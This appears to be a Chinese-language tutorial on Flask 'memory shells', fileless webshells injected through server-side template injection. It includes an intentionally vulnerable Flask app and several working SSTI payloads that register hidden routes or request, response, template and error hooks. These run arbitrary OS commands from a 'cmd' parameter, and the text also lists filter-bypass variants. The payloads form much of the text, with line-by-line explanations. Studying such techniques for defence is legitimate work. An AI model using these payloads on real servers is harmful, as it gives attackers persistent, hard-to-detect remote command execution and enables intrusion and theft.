介绍
- Flask 内存马(Flask Memory Shell)是一种无文件攻击(Fileless Attack)技术。攻击者利用 RCE(远程代码执行)漏洞,在 Web 服务器运行时(Runtime)动态修改 Flask 框架的路由映射表(url_map),将恶意函数注册为新的路由端点,从而实现持久化控制。
特点:
- 无文件落地:磁盘上不生成 Webshell 文件,绕过常规的文件监控和杀毒软件。
- 易失性:驻留于进程内存中,Web 服务重启即失效
- 技术原理:动态路由注册
Flask 框架处理请求的核心机制是 URL 路由分发。正常开发中,我们使用 @app.route('/path') 装饰器注册路由;在底层,这实际上是调用了 app.add_url_rule() 方法。
内存马的本质: 在程序运行过程中,通过漏洞(如 SSTI)获取到全局的 app 实例(Application Context),主动调用 add_url_rule(),强行插入一条新的路由规则。
老版内存马
搭建服务
先写一个具有ssti漏洞的flask服务
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/')def home(): person="guest" if request.args.get('name'): person=request.args.get('name') template = '<h2>Hello %s!</h2>' % person return render_template_string(template)
if __name__ == '__main__': app.run(host='0.0.0.0', port=8000,debug=True)内存马基础payload
{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
这样就打上了

拆分学习
一下内容来自gemini,它讲得挺详细的
# 外部包裹:Jinja2 模板语法{{ # 1. 逃逸核心:获取 eval 函数 url_for.__globals__['__builtins__']['eval'](
# 2. 恶意代码字符串 (eval 的第一个参数) "app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",
# 3. 上下文注入 (eval 的 global 参数) { '_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app': url_for.__globals__['current_app'] } )}}第一部分:逃逸与执行引擎 (Executor)
代码片段:
Python
url_for.__globals__['__builtins__']['eval'](...)url_for: 这是 Flask 的一个内置函数,用来生成 URL。在 Jinja2 模板中,我们不仅能用它生成链接,还能把它当作跳板。.__globals__: 这是越狱的关键。 Python 函数都有一个__globals__属性,它保存了该函数定义时的全局变量字典。通过它,我们可以从原本封闭的 Jinja2 模板沙箱中跳出来,访问 Flask 整个应用的全局环境。['__builtins__']['eval']: 我们在全局变量中找到了 Python 的内置函数库 (__builtins__),并提取出了eval函数。- 作用:
eval可以将字符串当作 Python 代码来执行。 - 为什么需要它?:Jinja2 模板里不能直接写
def或复杂的逻辑。利用eval,我们可以把复杂的 Python 代码写成字符串传进去执行。
- 作用:
第二部分:上下文注入 (Context Injection)
这是这个 Payload 最精妙的地方。
代码片段:
Python
{ '_request_ctx_stack': url_for.__globals__['_request_ctx_stack'], 'app': url_for.__globals__['current_app']}解析: eval 函数的第二个参数允许我们定义代码执行时的全局变量作用域。
-
问题:在
eval执行的字符串代码里,默认是拿不到app对象(用来注册路由)和request对象(用来获取参数)的。 -
解决:攻击者手动把这两个关键对象“喂”给了
eval。-
app: 传入了current_app(当前运行的 Flask 应用实例),有了它才能调用add_url_rule。 -
_request_ctx_stack: 传入了 Flask 的请求上下文栈。这是为了在内存马运行时,能够动态获取当前的 HTTP 请求信息(比如参数?cmd=...)。
当一个请求进入Flask,首先会实例化一个Request Context,这个上下文封装了请求的信息在Request中,并将这个上下文推入到一个名为
_request_ctx_stack的栈结构中,也就是说获取当前的请求上下文等同于获取_request_ctx_stack的栈顶元素_request_ctx_stack.top。简单来讲,就是当一个请求过来的时候,会实例化一个对象来封装和这个请求有关的东西(例如cookie、URL参数等),然后再推到栈中
-
第三部分:恶意逻辑主体 (The Malicious Payload)
这是 eval 真正执行的那段字符串代码。
代码片段:
Python
app.add_url_rule( '/shell', 'shell', lambda : __import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())深度拆解:
app.add_url_rule(...): 这是 Flask 动态添加路由的标准方法。相当于你在代码里写@app.route(...)。'/shell', 'shell':'/shell': 定义内存马的访问路径(URL)。'shell': 定义端点名称(Endpoint Name),必须唯一。
lambda : ...:- 这里定义了访问
/shell时要执行的视图函数。 - 为什么用 lambda? 因为
eval只能执行表达式,不能执行def定义的函数代码块。Lambda 是匿名函数,正好是个表达式。
- 这里定义了访问
_request_ctx_stack.top.request.args.get('cmd', 'whoami'):- 获取命令:这行代码从当前的 HTTP 请求中获取名为
cmd的参数。 - 上下文栈:
_request_ctx_stack.top指向当前的请求上下文,从中提取request对象。 - 默认值:如果不传
cmd,默认执行whoami。
- 获取命令:这行代码从当前的 HTTP 请求中获取名为
__import__('os').popen(...).read():- 执行命令:利用
os模块的popen方法执行刚才获取到的系统命令,并利用.read()读取命令回显结果,最后返回给网页。
- 执行命令:利用
整个过程就相当于添加了一个路由
@app.route('/shell')def evil_shell(): cmd = request.args.get('cmd', 'whoami') result = os.popen(cmd).read() return result变形绕过
url_for可用get_flashed_messages替换eval可以通过request.application.__self__._get_data_for_json['__builtins__']['eval']拿;app可以通过{{lipsum.__globals__['__builtins__']['eval']("__import__('sys').modules['__main__'].app")}}获取
新版内存马
Flask 官方在 2.2 版本 之后做了一个重大的底层重构:
- 删除了
_request_ctx_stack。 - 删除了
_app_ctx_stack。 - 引入了 Python 标准库的
ContextVar来管理上下文。
这也就意味着刚刚学的哪些方法在新的flask版本中几乎没有任何作用,下面更新一下flask版本,开始学习在新版中打入内存马的姿势
@app.before_request
他的意思就是在我们的请求前进行一些操作
他的正常写法
@app.before_requestdef before_request(): # 执行操作比如身份验证 if not request.headers.get("Authorization"): return "Unauthorized",401
可以注意到这个函数的回显是f
payload:
{{url_for.__globals__['__builtins__']['eval']("app.before_request_funcs.setdefault(None,[]).append(lambda:__import__('os').popen(request.args.get('cmd','whoami')).read())",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['flask'].current_app})}}这个payload是利用app.before_request在每一次请求之前先处理我们定义的恶意函数lambda : __import__('os').popen(request.args.get('cmd')).read()当这个请求中出现GET请求且参数是cmd时会执行恶意函数并回显
@app.after_request
于上一种大致相同
payload:
{{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda x: __import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read()))",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['flask'].current_app})}}@app.context_processor

官方定义: context_processor 是一个装饰器,用来注册一个函数。这个函数会在每次渲染模板(调用 render_template)之前运行。
像上面一样,只需要在append()中写入一个恶意函数,那么每次再调用模板的时候就会执行这个函数,达到内存马的目的
如果在app.py中的写法大概是这样
# 恶意的上下文处理器def evil_processor(): import os from flask import request # 获取参数 cmd cmd = request.args.get('cmd') result = "" if cmd: # 执行命令 result = os.popen(cmd).read()
# 必须返回字典,我们将结果放入 'res' 变量中 # 这样在模板里虽然不一定直接显示 {{res}},但代码确实执行了 return {'res': result}
# 注入过程app.template_context_processors[None].append(evil_processor)payload:
{{url_for.__globals__['__builtins__']['eval']("app.template_context_processors.setdefault(None,[]).append(lambda:{'btop251':__import__('os').popen(request.args.get('cmd','whoami')).read()})",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['flask'].current_app})}}@app.errorhandler
一个错误处理的装饰器
正常用法:
@app.errorhandler(404)def error(e): print(e) return "error"当出现404是就回返回error
看着猪脑过载了,所以直接cp clown师傅的payload,当作记录
{{url_for.__globals__['__builtins__']['exec']("global exc_class;global code;exc_class,code=app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class]=lambda exc_class: __import__('flask').make_response(__import__('os').popen(request.args.get('cmd')).read())",{'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}部分信息可能已经过时









